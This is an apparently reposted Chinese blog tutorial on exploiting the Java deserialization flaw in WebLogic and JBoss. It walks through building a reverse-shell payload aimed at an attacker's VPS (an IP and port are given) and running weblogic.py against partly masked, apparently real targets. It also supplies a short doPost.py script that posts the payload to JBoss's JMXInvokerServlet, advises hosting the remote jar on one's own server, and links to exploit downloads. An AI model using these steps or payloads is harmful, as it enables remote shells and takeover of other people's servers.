Java反序列化漏洞之Weblogic、Jboss利用教程及exp

admin 2022年3月19日07:03:34评论170 views字数 2459阅读8分11秒阅读模式

from:http://www.heysec.org/archives/156

0x01. 背景

今天在Zone里看到白帽子xcoder发了遍文章:JAVA commonsCollections 序列化漏洞分析以及高级利用 。地址:http://zone.wooyun.org/content/23905 .

我知道有很多像我一样的JAVA小白,一下看到了春天。在Drops上有大牛早就给出了从原理分析到漏洞利用的十分详细的说明,但是,作为JAVA小白表示鸭梨大啊!
白帽子xcoder的文章,给了我莫大的动力,第一次感觉到春天就要来了。在经过一天的尝试下,完成了Weblogic和Jboss的攻击利用实践。

0x02. 前期准备

  • 准备好代码

从白帽子xcoder的文章中,我们可以得到两个脚本。一个是制作反弹shell的payload的脚本,一个是制作POC用来测试的payload的脚本。


将其取下,放置到自己的IDE里面,在我的Eclipse里面展示如下:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
这么多错误,其实一开始我是拒绝的,需要导入jar包,地址:http://pan.baidu.com/s/1pJ7twuR ,然后就没有报错提示了!

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
说明:
1、 使用第一个脚本制作的payload,我们结合Weblogic的Exploit weblogic.py,可以让存在漏洞服务器反弹shell到我们的VPS上。
2、 使用第二个脚本制作的payload,我们结合Weblogic的Exploit weblogic.py ,可以让存在漏洞的服务器主动向VPS的某地址发出GET请求。

我们就可以在日志中根据有无收到这个GET请求来判断是否存在这个漏洞。

  • 制作反弹shell的payload

做一个反弹到IP 为103.111.222.121 的端口为10512的反弹shell的名为kiss.bin 的payload,保存在E盘根目录。

修改代码:WeblogicPaylodMake.java 69-70行为这样:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

执行这个java

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

得到反弹shell的payload

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

  • 制作测试POC 的payload

做一个访问URL地址:http://www.heysec.org/JavaSeriVulns.txt 的payload,保存在E盘根目录。
修改代码:WeblogicPOC.java 86-88行为这样:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

同样执行Java代码,得到下面payload:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

0x03. Weblogic利用过程

  • 反弹shell到VPS

利用之前得到的Weblogic的Exploit weblogic.py加载payload执行:

准备如下:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

先在Sebug上确认漏洞存在的:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
VPS上监听10512端口、然后执行weblogic.py的Exploit脚本, 多执行几次命令:

python weblogic.py 222.***.2**.53 7001 kiss.bin

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
有些时候,执行一两次没有反应,我一般执行3-4次就反弹回来了! 然后就可以xxoo咯

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

  • POC验证漏洞

多执行几次下面的命令:

python weblogic.py 222.1**.**3.53 7001 poc.bin

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

然后去VPS看日志,可以看到有多次请求记录!证明此漏洞是存在的!

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
到此Weblogic的漏洞证明,到漏洞利用反弹shell都成功了!

0x04. Jboss利用过程

上面生成的反弹shell的payload可以不经过修改直接在Jboss上使用的,但是我至今没有找到像Weblogic的py利用脚本一样的在 Jboss上利用的Exploit。就为了找Exploit我去看很久的:https://github.com/njfox/Java- Deserialization-Exploit 和https://github.com/frohoff/ysoserial JAVA小白表示没有搞定。一直到晚上,我看到了之前收到的这个:


Java反序列化漏洞之Weblogic、Jboss利用教程及exp

那个文件里面是一个POST包文件。于是灵机一动写了下面的8行python脚本:

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
于是乎有了下面的过程:

1、找一个Jboss的目标:
2、用Sebug的照妖镜确认存在 JBoss “Java 反序列化”过程远程命令执行漏洞

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

准备上面截图的doPost.py脚本:

#!/usr/bin/pythonimport requestsimport sys  host=sys.argv[1]port = int(sys.argv[2])payloadObj = open(sys.argv[3],'rb').read()URL = host+"/invoker/JMXInvokerServlet"requests.post(URL, data=payloadObj)

以及Weblogic测试时的payload

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
执行下面的命令:

python doPost.py http://www.***.org/ 80 kiss.bin

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

然后就也可以XXOO了

Java反序列化漏洞之Weblogic、Jboss利用教程及exp

同样测试Weblogic的POC,也是通用的!真是厉害啊!

Java反序列化漏洞之Weblogic、Jboss利用教程及exp
至此,Weblogic、Jboss的反弹shell和poc都测试成功了!

注意:

WeblogicPaylodMake.java中42行的http://www.iswin.org/attach/iswin.jar 在公网测试时,建议把这个放在自己的VPS上【你懂的】

在内网测试时,可能服务器上不了外网,需要在内网自己搭建个web,让目标服务器来加载你web上的这个jar文件。

0x05. 说在最后

  1. 感谢每一位热爱技术分享的白帽子!

  2. 本文写的粗略简单,希望对你有一定帮助,如有错误和可以补充之处还望指出。

  3. 本文中的java脚本都来自xcoder白帽子,两个java脚本在:http://www.heysec.org/wp-content/uploads/2015/12/src.zip.jpg 请下载,保存为src.zip,里面是两个java程序。


exp:

链接:http://pan.baidu.com/s/1pKfVKmR 密码:qczh


本文始发于微信公众号(关注安全技术):Java反序列化漏洞之Weblogic、Jboss利用教程及exp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月19日07:03:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化漏洞之Weblogic、Jboss利用教程及exphttp://cn-sec.com/archives/502772.html

发表评论

匿名网友 填写信息